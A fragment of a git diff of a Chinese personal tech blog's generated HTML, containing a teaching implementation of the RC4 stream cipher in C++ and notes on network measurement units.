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@@ -174,7 +174,7 @@ <h2 id="异或操作"><a href="#异或操作" class="headerlink" title="异或
 <h1 id="实验代码"><a href="#实验代码" class="headerlink" title="实验代码"></a>实验代码</h1><h2 id="rc4-cpp"><a href="#rc4-cpp" class="headerlink" title="rc4.cpp"></a>rc4.cpp</h2><figure class="highlight c++"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string">&lt;bitset&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string">&lt;iostream&gt;</span></span></span><br><span class="line"><span class="keyword">using</span> <span class="keyword">namespace</span> std;</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="type">int</span> <span class="title">main</span><span class="params">()</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">	string msg = <span class="string">&quot;你好jck&quot;</span>; <span class="comment">//明文</span></span><br><span class="line">	string key = <span class="string">&quot;jckjsdfsgck&quot;</span>; <span class="comment">//密钥</span></span><br><span class="line"></span><br><span class="line">	<span class="type">int</span> s_length = msg.<span class="built_in">length</span>(); <span class="comment">//明文长度</span></span><br><span class="line">	<span class="type">int</span> k_length = key.<span class="built_in">length</span>(); <span class="comment">// 密钥长度</span></span><br><span class="line">	<span class="type">int</span> n = <span class="number">256</span>; <span class="comment">//S盒大小</span></span><br><span class="line">	</span><br><span class="line">	<span class="type">int</span> i, j;</span><br><span class="line"></span><br><span class="line">	<span class="type">char</span> *S = <span class="keyword">new</span> <span class="type">char</span>[n];</span><br><span class="line">	<span class="type">char</span> *T = <span class="keyword">new</span> <span class="type">char</span>[n];</span><br><span class="line">	<span class="type">char</span> *K = <span class="keyword">new</span> <span class="type">char</span>[k_length]; <span class="comment">//存密钥，也可省去</span></span><br><span class="line">	<span class="type">char</span> *C = <span class="keyword">new</span> <span class="type">char</span>[s_length+<span class="number">1</span>]; <span class="comment">//存明文，最后一位&#x27;\0&#x27;</span></span><br><span class="line">	<span class="keyword">for</span> (i = <span class="number">0</span>; i &lt; s_length; i++) &#123;</span><br><span class="line">		C[i] = msg[i];</span><br><span class="line">	&#125;</span><br><span class="line"></span><br><span class="line">	<span class="comment">// 1.初始化转换表，填充S数组</span></span><br><span class="line">	<span class="keyword">for</span> (i = <span class="number">0</span>; i &lt; k_length; i++) &#123;</span><br><span class="line">		K[i] = key[i];</span><br><span class="line">	&#125;</span><br><span class="line">	<span class="keyword">for</span> (i = <span class="number">0</span>; i &lt; n; i++) &#123;</span><br><span class="line">		S[i] = i;</span><br><span class="line">		T[i] = K[i%k_length];</span><br><span class="line">	&#125;</span><br><span class="line"></span><br><span class="line">	<span class="comment">// 2.密钥调度算法KSA，置换</span></span><br><span class="line">	<span class="type">char</span> temp;</span><br><span class="line">	<span class="keyword">for</span> (i = <span class="number">0</span>, j = <span class="number">0</span>; i &lt; n; i++) &#123;</span><br><span class="line">		j = (j + S[i] + T[i]) % n;</span><br><span class="line">		temp = S[i];</span><br><span class="line">		S[i] = S[j];</span><br><span class="line">		S[j] = temp;</span><br><span class="line">	&#125;</span><br><span class="line"></span><br><span class="line">	<span class="comment">// 3.伪随机生成算法PRGA</span></span><br><span class="line">	<span class="type">int</span> t, c;</span><br><span class="line">	<span class="type">char</span>* keystream = <span class="keyword">new</span> <span class="type">char</span>[s_length]; <span class="comment">//密钥流</span></span><br><span class="line">	i = j = <span class="number">0</span>;</span><br><span class="line">	<span class="keyword">for</span> (c = <span class="number">0</span>; c &lt; s_length; c++) &#123;</span><br><span class="line">		i = (i + <span class="number">1</span>) % n;</span><br><span class="line">		j = (j + S[i]) % n;</span><br><span class="line">		temp = S[i];</span><br><span class="line">		S[i] = S[j];</span><br><span class="line">		S[j] = temp;</span><br><span class="line">		t = (S[i] + S[j]) % n;</span><br><span class="line">		keystream[c] = S[t];</span><br><span class="line">	&#125;</span><br><span class="line"></span><br><span class="line">	<span class="comment">// 4.加密，明文与密钥流异或</span></span><br><span class="line">	<span class="keyword">for</span> (i = <span class="number">0</span>; i &lt; s_length; i++)</span><br><span class="line">		C[i] ^= keystream[i];</span><br><span class="line">	C[i] = <span class="string">&#x27;\0&#x27;</span>;</span><br><span class="line">	cout &lt;&lt; <span class="string">&quot;密文：&quot;</span> &lt;&lt; C &lt;&lt; endl;</span><br><span class="line"></span><br><span class="line">	<span class="comment">// 5.解密，密文与密钥流异或</span></span><br><span class="line">	<span class="keyword">for</span> (i = <span class="number">0</span>; i &lt; s_length; i++)</span><br><span class="line">		C[i] ^= keystream[i];</span><br><span class="line">	C[i] = <span class="string">&#x27;\0&#x27;</span>;</span><br><span class="line">	cout &lt;&lt; <span class="string">&quot;明文：&quot;</span> &lt;&lt; C &lt;&lt; endl;</span><br><span class="line"></span><br><span class="line">	<span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>
 
 <h1 id="结语"><a href="#结语" class="headerlink" title="结语"></a>结语</h1><p>简单实现了一种流密码，实验性代码显然不能用到实际环境，了解原理倒是可以上手敲代码，实际还是推荐使用封装好的函数。</p>
-</article><div class="post-copyright"><div class="post-copyright__author"><span class="post-copyright-meta"><i class="fas fa-circle-user fa-fw"></i>文章作者: </span><span class="post-copyright-info"><a target="_blank" rel="noopener" href="https://github.com/jckling">Jckling</a></span></div><div class="post-copyright__type"><span class="post-copyright-meta"><i class="fas fa-square-arrow-up-right fa-fw"></i>文章链接: </span><span class="post-copyright-info"><a href="https://jckling.github.io/2018/04/01/Algorithm/cryptography/RC4%E7%AE%97%E6%B3%95%E5%AE%9E%E7%8E%B0/">https://jckling.github.io/2018/04/01/Algorithm/cryptography/RC4算法实现/</a></span></div><div class="post-copyright__notice"><span class="post-copyright-meta"><i class="fas fa-circle-exclamation fa-fw"></i>版权声明: </span><span class="post-copyright-info">本博客所有文章除特别声明外，均采用 <a href="https://creativecommons.org/licenses/by-nc-sa/4.0/" target="_blank">CC BY-NC-SA 4.0</a> 许可协议。转载请注明来自 <a href="https://jckling.github.io" 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class="toc-number">2.</span> <span class="toc-text">实验代码</span></a><ol class="toc-child"><li class="toc-item toc-level-2"><a class="toc-link" href="#rc4-cpp"><span class="toc-number">2.1.</span> <span class="toc-text">rc4.cpp</span></a></li></ol></li><li class="toc-item toc-level-1"><a class="toc-link" href="#%E7%BB%93%E8%AF%AD"><span class="toc-number">3.</span> <span class="toc-text">结语</span></a></li></ol></div></div><div class="card-widget card-recent-post"><div class="item-headline"><i class="fas fa-history"></i><span>最新文章</span></div><div class="aside-list"><div class="aside-list-item"><a class="thumbnail" href="/2024/02/24/Other/NVIDIA%20Omniverse%20Audio%20%E7%B3%BB%E5%88%97%E5%B7%A5%E5%85%B7%E4%BD%BF%E7%94%A8/" title="NVIDIA Omniverse Audio 系列工具使用"><img src="https://www.nvidia.cn/content/dam/en-zz/Solutions/about-nvidia/logo-and-brand/02-nvidia-logo-color-blk-500x200-4c25-p@2x.png" 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class="toc-number">2.</span> <span class="toc-text">实验代码</span></a><ol class="toc-child"><li class="toc-item toc-level-2"><a class="toc-link" href="#rc4-cpp"><span class="toc-number">2.1.</span> <span class="toc-text">rc4.cpp</span></a></li></ol></li><li class="toc-item toc-level-1"><a class="toc-link" href="#%E7%BB%93%E8%AF%AD"><span class="toc-number">3.</span> <span class="toc-text">结语</span></a></li></ol></div></div><div class="card-widget card-recent-post"><div class="item-headline"><i class="fas fa-history"></i><span>最新文章</span></div><div class="aside-list"><div class="aside-list-item"><a class="thumbnail" href="/2024/02/24/Other/NVIDIA%20Omniverse%20Audio%20%E7%B3%BB%E5%88%97%E5%B7%A5%E5%85%B7%E4%BD%BF%E7%94%A8/" title="NVIDIA Omniverse Audio 系列工具使用"><img src="https://www.nvidia.cn/content/dam/en-zz/Solutions/about-nvidia/logo-and-brand/02-nvidia-logo-color-blk-500x200-4c25-p@2x.png" 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diff --git a/2018/06/13/Notes/Computer Networks/The-Introduction/index.html b/2018/06/13/Notes/Computer Networks/The-Introduction/index.html
index 5f9fb04c6..03771c9c8 100644
--- a/2018/06/13/Notes/Computer Networks/The-Introduction/index.html	
+++ b/2018/06/13/Notes/Computer Networks/The-Introduction/index.html	
@@ -1061,7 +1061,7 @@ <h2 id="Internet-标准领域有影响力的组织"><a href="#Internet-标准领
 <h1 id="度量单位"><a href="#度量单位" class="headerlink" title="度量单位"></a>度量单位</h1><p>8 bit &#x3D; $1$ Byte<br>1 KB &#x3D; $2^{10}$ B<br>1 MB &#x3D; $2^{20}$ B<br>1 GB &#x3D; $2^{30}$ B<br>1 TB &#x3D; $2^{40}$ B</p>
 <p>1 kbps &#x3D; $10^3$ bps<br>1 Mbps &#x3D; $10^6$ bps<br>1 Gbps &#x3D; $10^9$ bps<br>1 Tbps &#x3D; $10^{12}$ bps</p>
 <p>1 ms（毫秒，千分之一秒） &#x3D; $10^{-3}$ s<br>1 μs（微秒，百万分之一秒） &#x3D; $10^{-6}$ s<br>1 ns（纳秒，十亿分之一秒） &#x3D; $10^{-9}$ s</p>
-</article><div class="post-copyright"><div class="post-copyright__author"><span class="post-copyright-meta"><i class="fas fa-circle-user fa-fw"></i>文章作者: </span><span class="post-copyright-info"><a target="_blank" rel="noopener" href="https://github.com/jckling">Jckling</a></span></div><div class="post-copyright__type"><span class="post-copyright-meta"><i class="fas fa-square-arrow-up-right fa-fw"></i>文章链接: </span><span class="post-copyright-info"><a href="https://jckling.github.io/2018/06/13/Notes/Computer%20Networks/The-Introduction/">https://jckling.github.io/2018/06/13/Notes/Computer Networks/The-Introduction/</a></span></div><div class="post-copyright__notice"><span class="post-copyright-meta"><i class="fas fa-circle-exclamation fa-fw"></i>版权声明: </span><span class="post-copyright-info">本博客所有文章除特别声明外，均采用 <a href="https://creativecommons.org/licenses/by-nc-sa/4.0/" target="_blank">CC BY-NC-SA 4.0</a> 许可协议。转载请注明来自 <a href="https://jckling.github.io" target="_blank">Jckling's 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href="#%E4%BD%BF%E7%94%A8%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C"><span class="toc-number">1.</span> <span class="toc-text">使用计算机网络</span></a><ol class="toc-child"><li class="toc-item toc-level-2"><a class="toc-link" href="#%E5%95%86%E4%B8%9A%E5%BA%94%E7%94%A8"><span class="toc-number">1.1.</span> <span class="toc-text">商业应用</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#%E5%AE%B6%E5%BA%AD%E5%BA%94%E7%94%A8"><span class="toc-number">1.2.</span> <span class="toc-text">家庭应用</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#%E7%A7%BB%E5%8A%A8%E7%94%A8%E6%88%B7"><span class="toc-number">1.3.</span> <span class="toc-text">移动用户</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#%E7%A4%BE%E4%BC%9A%E9%97%AE%E9%A2%98"><span class="toc-number">1.4.</span> <span class="toc-text">社会问题</span></a></li></ol></li><li class="toc-item toc-level-1"><a class="toc-link" href="#%E7%BD%91%E7%BB%9C%E7%A1%AC%E4%BB%B6"><span class="toc-number">2.</span> <span class="toc-text">网络硬件</span></a><ol class="toc-child"><li class="toc-item toc-level-2"><a class="toc-link" href="#%E4%B8%AA%E5%9F%9F%E7%BD%91%EF%BC%88PAN-Personal-Area-Network%EF%BC%89"><span class="toc-number">2.1.</span> <span class="toc-text">个域网（PAN, Personal Area Network）</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#%E5%B1%80%E5%9F%9F%E7%BD%91%EF%BC%88LAN-Local-Area-Network%EF%BC%89"><span class="toc-number">2.2.</span> <span class="toc-text">局域网（LAN, Local Area Network）</span></a><ol class="toc-child"><li class="toc-item toc-level-3"><a class="toc-link" href="#%E6%89%A9%E5%B1%95%EF%BC%88expand%EF%BC%89%E5%92%8C%E5%88%92%E5%88%86%EF%BC%88divide%EF%BC%89%E5%B1%80%E5%9F%9F%E7%BD%91"><span class="toc-number">2.2.1.</span> <span class="toc-text">扩展（expand）和划分（divide）局域网</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E7%BB%8F%E5%85%B8%E4%BB%A5%E5%A4%AA%E7%BD%91%EF%BC%88classic-Ethernet%EF%BC%89"><span class="toc-number">2.2.2.</span> <span class="toc-text">经典以太网（classic Ethernet）</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E5%B9%BF%E6%92%AD%E7%BD%91%E7%BB%9C%E7%9A%84%E4%BF%A1%E9%81%93%E5%88%86%E9%85%8D"><span class="toc-number">2.2.3.</span> <span class="toc-text">广播网络的信道分配</span></a></li></ol></li><li class="toc-item toc-level-2"><a class="toc-link" href="#%E5%9F%8E%E5%9F%9F%E7%BD%91%EF%BC%88MAN-Metropolitan-Area-Network%EF%BC%89"><span class="toc-number">2.3.</span> <span class="toc-text">城域网（MAN, Metropolitan Area Network）</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#%E5%B9%BF%E5%9F%9F%E7%BD%91%EF%BC%88WAN-Wide-Area-Network%EF%BC%89"><span class="toc-number">2.4.</span> <span class="toc-text">广域网（WAN, Wide Area Network）</span></a><ol class="toc-child"><li class="toc-item toc-level-3"><a class="toc-link" href="#%E9%80%9A%E4%BF%A1%E5%AD%90%E7%BD%91"><span class="toc-number">2.4.1.</span> <span class="toc-text">通信子网</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E5%B9%BF%E5%9F%9F%E7%BD%91%E5%92%8C%E5%B1%80%E5%9F%9F%E7%BD%91%E7%9A%84%E5%8C%BA%E5%88%AB"><span class="toc-number">2.4.2.</span> <span class="toc-text">广域网和局域网的区别</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E8%99%9A%E6%8B%9F%E4%B8%93%E7%94%A8%E7%BD%91%E7%BB%9C%EF%BC%88VPN-Virtual-Private-Network%EF%BC%89"><span class="toc-number">2.4.3.</span> <span class="toc-text">虚拟专用网络（VPN, Virtual Private Network）</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#ISP-%E7%BD%91%E7%BB%9C%EF%BC%88ISP-network%EF%BC%89"><span class="toc-number">2.4.4.</span> <span class="toc-text">ISP 网络（ISP network）</span></a></li></ol></li><li class="toc-item toc-level-2"><a class="toc-link" href="#%E4%BA%92%E8%81%94%E7%BD%91%E7%BB%9C%EF%BC%88Internetwork%EF%BC%89"><span class="toc-number">2.5.</span> <span class="toc-text">互联网络（Internetwork）</span></a></li></ol></li><li class="toc-item toc-level-1"><a class="toc-link" href="#%E7%BD%91%E7%BB%9C%E8%BD%AF%E4%BB%B6"><span class="toc-number">3.</span> <span class="toc-text">网络软件</span></a><ol class="toc-child"><li class="toc-item toc-level-2"><a class="toc-link" href="#%E5%8D%8F%E8%AE%AE%E5%B1%82%E6%AC%A1%E7%BB%93%E6%9E%84"><span class="toc-number">3.1.</span> <span class="toc-text">协议层次结构</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#%E5%B1%82%E6%AC%A1%E8%AE%BE%E8%AE%A1%E9%97%AE%E9%A2%98"><span class="toc-number">3.2.</span> <span class="toc-text">层次设计问题</span></a><ol class="toc-child"><li class="toc-item toc-level-3"><a class="toc-link" href="#%E5%8F%AF%E9%9D%A0%E6%80%A7%EF%BC%88reliability%EF%BC%89"><span class="toc-number">3.2.1.</span> <span class="toc-text">可靠性（reliability）</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E7%BD%91%E7%BB%9C%E6%BC%94%E8%BF%9B%EF%BC%88network-revolution%EF%BC%89"><span class="toc-number">3.2.2.</span> <span class="toc-text">网络演进（network revolution）</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E8%B5%84%E6%BA%90%E5%88%86%E9%85%8D%EF%BC%88resource-allocation%EF%BC%89"><span class="toc-number">3.2.3.</span> <span class="toc-text">资源分配（resource allocation）</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E5%A8%81%E8%83%81%EF%BC%88threats%EF%BC%89"><span class="toc-number">3.2.4.</span> <span class="toc-text">威胁（threats）</span></a></li></ol></li><li class="toc-item toc-level-2"><a class="toc-link" href="#%E9%9D%A2%E5%90%91%E8%BF%9E%E6%8E%A5%E4%B8%8E%E6%97%A0%E8%BF%9E%E6%8E%A5%E6%9C%8D%E5%8A%A1"><span class="toc-number">3.3.</span> <span class="toc-text">面向连接与无连接服务</span></a><ol class="toc-child"><li class="toc-item toc-level-3"><a class="toc-link" href="#%E9%9D%A2%E5%90%91%E8%BF%9E%E6%8E%A5%E7%9A%84%E6%9C%8D%E5%8A%A1"><span class="toc-number">3.3.1.</span> <span class="toc-text">面向连接的服务</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E6%97%A0%E8%BF%9E%E6%8E%A5%E7%9A%84%E6%9C%8D%E5%8A%A1"><span class="toc-number">3.3.2.</span> <span class="toc-text">无连接的服务</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E8%A1%A5%E5%85%85"><span class="toc-number">3.3.3.</span> <span class="toc-text">补充</span></a></li></ol></li><li class="toc-item toc-level-2"><a class="toc-link" href="#%E6%9C%8D%E5%8A%A1%E5%8E%9F%E8%AF%AD"><span class="toc-number">3.4.</span> <span class="toc-text">服务原语</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#%E6%9C%8D%E5%8A%A1%E4%B8%8E%E5%8D%8F%E8%AE%AE%E7%9A%84%E5%85%B3%E7%B3%BB"><span class="toc-number">3.5.</span> <span class="toc-text">服务与协议的关系</span></a></li></ol></li><li class="toc-item toc-level-1"><a class="toc-link" href="#%E5%8F%82%E8%80%83%E6%A8%A1%E5%9E%8B"><span class="toc-number">4.</span> <span class="toc-text">参考模型</span></a><ol class="toc-child"><li class="toc-item toc-level-2"><a class="toc-link" href="#OSI-%E5%8F%82%E8%80%83%E6%A8%A1%E5%9E%8B"><span class="toc-number">4.1.</span> <span class="toc-text">OSI 参考模型</span></a><ol class="toc-child"><li class="toc-item toc-level-3"><a class="toc-link" href="#%E7%89%A9%E7%90%86%E5%B1%82%EF%BC%88physical-layer%EF%BC%89"><span class="toc-number">4.1.1.</span> <span class="toc-text">物理层（physical layer）</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E6%95%B0%E6%8D%AE%E9%93%BE%E8%B7%AF%E5%B1%82%EF%BC%88data-link-layer%EF%BC%89"><span class="toc-number">4.1.2.</span> <span class="toc-text">数据链路层（data link layer）</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E7%BD%91%E7%BB%9C%E5%B1%82%EF%BC%88network-layer%EF%BC%89"><span class="toc-number">4.1.3.</span> <span class="toc-text">网络层（network layer）</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E4%BC%A0%E8%BE%93%E5%B1%82%EF%BC%88transport-layer%EF%BC%89"><span class="toc-number">4.1.4.</span> <span class="toc-text">传输层（transport layer）</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E4%BC%9A%E8%AF%9D%E5%B1%82%EF%BC%88session-layer%EF%BC%89"><span class="toc-number">4.1.5.</span> <span class="toc-text">会话层（session layer）</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E8%A1%A8%E7%A4%BA%E5%B1%82%EF%BC%88presentation-layer%EF%BC%89"><span class="toc-number">4.1.6.</span> <span class="toc-text">表示层（presentation layer）</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E5%BA%94%E7%94%A8%E5%B1%82%EF%BC%88application-layer%EF%BC%89"><span class="toc-number">4.1.7.</span> <span class="toc-text">应用层（application layer）</span></a></li></ol></li><li class="toc-item toc-level-2"><a class="toc-link" href="#TCP-IP-%E5%8F%82%E8%80%83%E6%A8%A1%E5%9E%8B"><span class="toc-number">4.2.</span> <span class="toc-text">TCP&#x2F;IP 参考模型</span></a><ol class="toc-child"><li class="toc-item toc-level-3"><a class="toc-link" href="#%E9%93%BE%E8%B7%AF%E5%B1%82%EF%BC%88link-layer%EF%BC%89"><span class="toc-number">4.2.1.</span> <span class="toc-text">链路层（link layer）</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E4%BA%92%E8%81%94%E7%BD%91%E5%B1%82%EF%BC%88internet-layer%EF%BC%89"><span class="toc-number">4.2.2.</span> <span class="toc-text">互联网层（internet layer）</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E4%BC%A0%E8%BE%93%E5%B1%82%EF%BC%88transport-layer%EF%BC%89-1"><span class="toc-number">4.2.3.</span> <span class="toc-text">传输层（transport layer）</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E5%BA%94%E7%94%A8%E5%B1%82%EF%BC%88application-layer%EF%BC%89-1"><span class="toc-number">4.2.4.</span> <span class="toc-text">应用层（application layer）</span></a></li></ol></li><li class="toc-item toc-level-2"><a class="toc-link" href="#%E4%B9%A6%E6%9C%AC%E4%BD%BF%E7%94%A8%E7%9A%84%E6%A8%A1%E5%9E%8B"><span class="toc-number">4.3.</span> <span class="toc-text">书本使用的模型</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#OSI-%E5%8F%82%E8%80%83%E6%A8%A1%E5%9E%8B%E4%B8%8E-TCP-IP-%E5%8F%82%E8%80%83%E6%A8%A1%E5%9E%8B%E7%9A%84%E6%AF%94%E8%BE%83"><span class="toc-number">4.4.</span> <span class="toc-text">OSI 参考模型与 TCP&#x2F;IP 参考模型的比较</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#OSI-%E6%A8%A1%E5%9E%8B%E5%92%8C%E5%8D%8F%E8%AE%AE%E7%9A%84%E8%AF%84%E5%88%A4"><span class="toc-number">4.5.</span> <span class="toc-text">OSI 模型和协议的评判</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#TCP-IP-%E5%8F%82%E8%80%83%E6%A8%A1%E5%9E%8B%E7%9A%84%E8%AF%84%E5%88%A4"><span class="toc-number">4.6.</span> <span class="toc-text">TCP&#x2F;IP 参考模型的评判</span></a></li></ol></li><li class="toc-item toc-level-1"><a class="toc-link" href="#%E7%BD%91%E7%BB%9C%E5%AE%9E%E4%BE%8B"><span class="toc-number">5.</span> <span class="toc-text">网络实例</span></a><ol class="toc-child"><li class="toc-item toc-level-2"><a class="toc-link" href="#%E5%9B%A0%E7%89%B9%E7%BD%91"><span class="toc-number">5.1.</span> <span class="toc-text">因特网</span></a><ol class="toc-child"><li class="toc-item toc-level-3"><a class="toc-link" href="#APPANET"><span class="toc-number">5.1.1.</span> <span class="toc-text">APPANET</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#NSFNET"><span class="toc-number">5.1.2.</span> <span class="toc-text">NSFNET</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#Internet-%E4%BD%93%E7%B3%BB%E7%BB%93%E6%9E%84"><span class="toc-number">5.1.3.</span> <span class="toc-text">Internet 体系结构</span></a></li></ol></li><li class="toc-item toc-level-2"><a class="toc-link" href="#%E7%AC%AC%E4%B8%89%E4%BB%A3%E7%A7%BB%E5%8A%A8%E7%94%B5%E8%AF%9D%E7%BD%91%E7%BB%9C%EF%BC%883G-Mobile-Phone-Networks%EF%BC%89"><span class="toc-number">5.2.</span> <span class="toc-text">第三代移动电话网络（3G Mobile Phone Networks）</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#%E6%97%A0%E7%BA%BF%E5%B1%80%E5%9F%9F%E7%BD%91%EF%BC%9A802-11-WiFi"><span class="toc-number">5.3.</span> <span class="toc-text">无线局域网：802.11 WiFi</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#RFID-%E5%92%8C%E4%BC%A0%E6%84%9F%E5%99%A8%E7%BD%91%E7%BB%9C"><span class="toc-number">5.4.</span> <span class="toc-text">RFID 和传感器网络</span></a></li></ol></li><li class="toc-item toc-level-1"><a class="toc-link" href="#%E7%BD%91%E7%BB%9C%E6%A0%87%E5%87%86%E5%8C%96"><span class="toc-number">6.</span> <span class="toc-text">网络标准化</span></a><ol class="toc-child"><li class="toc-item toc-level-2"><a class="toc-link" href="#%E7%94%B5%E4%BF%A1%E9%A2%86%E5%9F%9F%E6%9C%89%E5%BD%B1%E5%93%8D%E5%8A%9B%E7%9A%84%E7%BB%84%E7%BB%87"><span class="toc-number">6.1.</span> <span class="toc-text">电信领域有影响力的组织</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#%E5%9B%BD%E9%99%85%E6%A0%87%E5%87%86%E9%A2%86%E5%9F%9F%E6%9C%89%E5%BD%B1%E5%93%8D%E5%8A%9B%E7%9A%84%E7%BB%84%E7%BB%87"><span class="toc-number">6.2.</span> <span class="toc-text">国际标准领域有影响力的组织</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#Internet-%E6%A0%87%E5%87%86%E9%A2%86%E5%9F%9F%E6%9C%89%E5%BD%B1%E5%93%8D%E5%8A%9B%E7%9A%84%E7%BB%84%E7%BB%87"><span class="toc-number">6.3.</span> <span class="toc-text">Internet 标准领域有影响力的组织</span></a></li></ol></li><li class="toc-item toc-level-1"><a class="toc-link" href="#%E5%BA%A6%E9%87%8F%E5%8D%95%E4%BD%8D"><span class="toc-number">7.</span> <span class="toc-text">度量单位</span></a></li></ol></div></div><div class="card-widget card-recent-post"><div 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+</article><div class="post-copyright"><div class="post-copyright__author"><span class="post-copyright-meta"><i class="fas fa-circle-user fa-fw"></i>文章作者: </span><span class="post-copyright-info"><a target="_blank" rel="noopener" href="https://github.com/jckling">Jckling</a></span></div><div class="post-copyright__type"><span class="post-copyright-meta"><i class="fas fa-square-arrow-up-right fa-fw"></i>文章链接: </span><span class="post-copyright-info"><a href="https://jckling.github.io/2018/06/13/Notes/Computer%20Networks/The-Introduction/">https://jckling.github.io/2018/06/13/Notes/Computer Networks/The-Introduction/</a></span></div><div class="post-copyright__notice"><span class="post-copyright-meta"><i class="fas fa-circle-exclamation fa-fw"></i>版权声明: </span><span class="post-copyright-info">本博客所有文章除特别声明外，均采用 <a href="https://creativecommons.org/licenses/by-nc-sa/4.0/" target="_blank">CC BY-NC-SA 4.0</a> 许可协议。转载请注明来自 <a href="https://jckling.github.io" target="_blank">Jckling's Blog</a>！</span></div></div><div class="tag_share"><div class="post-meta__tag-list"><a class="post-meta__tags" href="/tags/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/">计算机网络</a><a class="post-meta__tags" href="/tags/Computer-Networks/">Computer Networks</a></div><div class="post_share"><div class="addtoany"><div class="a2a_kit a2a_kit_size_32 a2a_default_style"><a class="a2a_button_facebook"></a><a class="a2a_button_twitter"></a><a class="a2a_button_wechat"></a><a class="a2a_button_sina_weibo"></a><a class="a2a_button_facebook_messenger"></a><a class="a2a_button_email"></a><a class="a2a_button_copy_link"></a><a class="a2a_dd" target="_blank" rel="noopener" href="https://www.addtoany.com/share"></a></div></div><script async="async" src="https://static.addtoany.com/menu/page.js"></script></div></div><div class="post-reward"><div class="reward-button"><i class="fas fa-qrcode"></i>赞助</div><div class="reward-main"><ul class="reward-all"><li class="reward-item"><a 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Transport Layer"><img class="cover" src="https://i.loli.net/2021/06/14/z9KUc1FV7eaD8pi.jpg" alt="cover"><div class="content is-center"><div class="date"><i class="far fa-calendar-alt fa-fw"></i> 2018-06-22</div><div class="title">《计算机网络（英文版·第5版）》 The Transport Layer</div></div></a></div></div></div><hr class="custom-hr"/><div id="post-comment"><div class="comment-head"><div class="comment-headline"><i class="fas fa-comments fa-fw"></i><span> 评论</span></div></div><div class="comment-wrap"><div><div id="waline-wrap"></div></div></div></div></div><div class="aside-content" id="aside-content"><div class="card-widget card-info"><div class="is-center"><div class="avatar-img"><img src="https://cdn.jsdelivr.net/gh/jckling/jckling.github.io/img/jckling/avatar.jpg" onerror="this.onerror=null;this.src='https://cdn.jsdelivr.net/gh/jckling/jckling.github.io/img/jckling/avatar_404.png'" alt="avatar"/></div><div class="author-info__name">Jckling</div><div class="author-info__description"></div></div><div class="card-info-data site-data is-center"><a href="/archives/"><div class="headline">文章</div><div class="length-num">124</div></a><a href="/tags/"><div class="headline">标签</div><div class="length-num">46</div></a><a href="/categories/"><div class="headline">分类</div><div class="length-num">9</div></a></div><a id="card-info-btn" target="_blank" rel="noopener" 